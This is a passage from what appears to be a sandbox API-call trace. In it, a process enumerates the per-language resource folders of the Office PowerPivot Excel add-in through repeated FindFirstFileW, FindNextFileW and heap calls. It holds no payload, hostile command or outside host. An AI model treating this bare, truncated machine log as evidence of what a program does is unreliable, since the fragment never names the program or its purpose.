ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.176] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.176] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0282.176] GetProcessHeap () returned 0xaf0000 [0282.176] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.176] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1045", cAlternateFileName="")) returned 1 [0282.176] GetProcessHeap () returned 0xaf0000 [0282.176] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.177] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.177] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.177] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.177] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0282.177] GetProcessHeap () returned 0xaf0000 [0282.177] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.177] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0282.177] GetProcessHeap () returned 0xaf0000 [0282.177] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.178] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.178] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.178] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.178] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.178] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0282.178] GetProcessHeap () returned 0xaf0000 [0282.178] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.178] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1048", cAlternateFileName="")) returned 1 [0282.178] GetProcessHeap () returned 0xaf0000 [0282.178] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.178] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.179] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.179] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.280] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.280] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0282.280] GetProcessHeap () returned 0xaf0000 [0282.281] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.281] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0282.281] GetProcessHeap () returned 0xaf0000 [0282.281] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.281] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0282.281] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.281] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.281] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.282] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0282.282] GetProcessHeap () returned 0xaf0000 [0282.282] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.282] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1050", cAlternateFileName="")) returned 1 [0282.282] GetProcessHeap () returned 0xaf0000 [0282.282] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.283] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.283] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.284] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.284] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0282.284] GetProcessHeap () returned 0xaf0000 [0282.284] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.284] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1051", cAlternateFileName="")) returned 1 [0282.284] GetProcessHeap () returned 0xaf0000 [0282.284] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.284] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0282.287] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.287] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.287] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.287] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0282.287] GetProcessHeap () returned 0xaf0000 [0282.287] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.287] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1053", cAlternateFileName="")) returned 1 [0282.287] GetProcessHeap () returned 0xaf0000 [0282.287] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.287] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.288] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.288] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.288] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.288] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0282.288] GetProcessHeap () returned 0xaf0000 [0282.288] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.288] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1054", cAlternateFileName="")) returned 1 [0282.288] GetProcessHeap () returned 0xaf0000 [0282.288] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.289] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.289] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.289] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce748 | out: 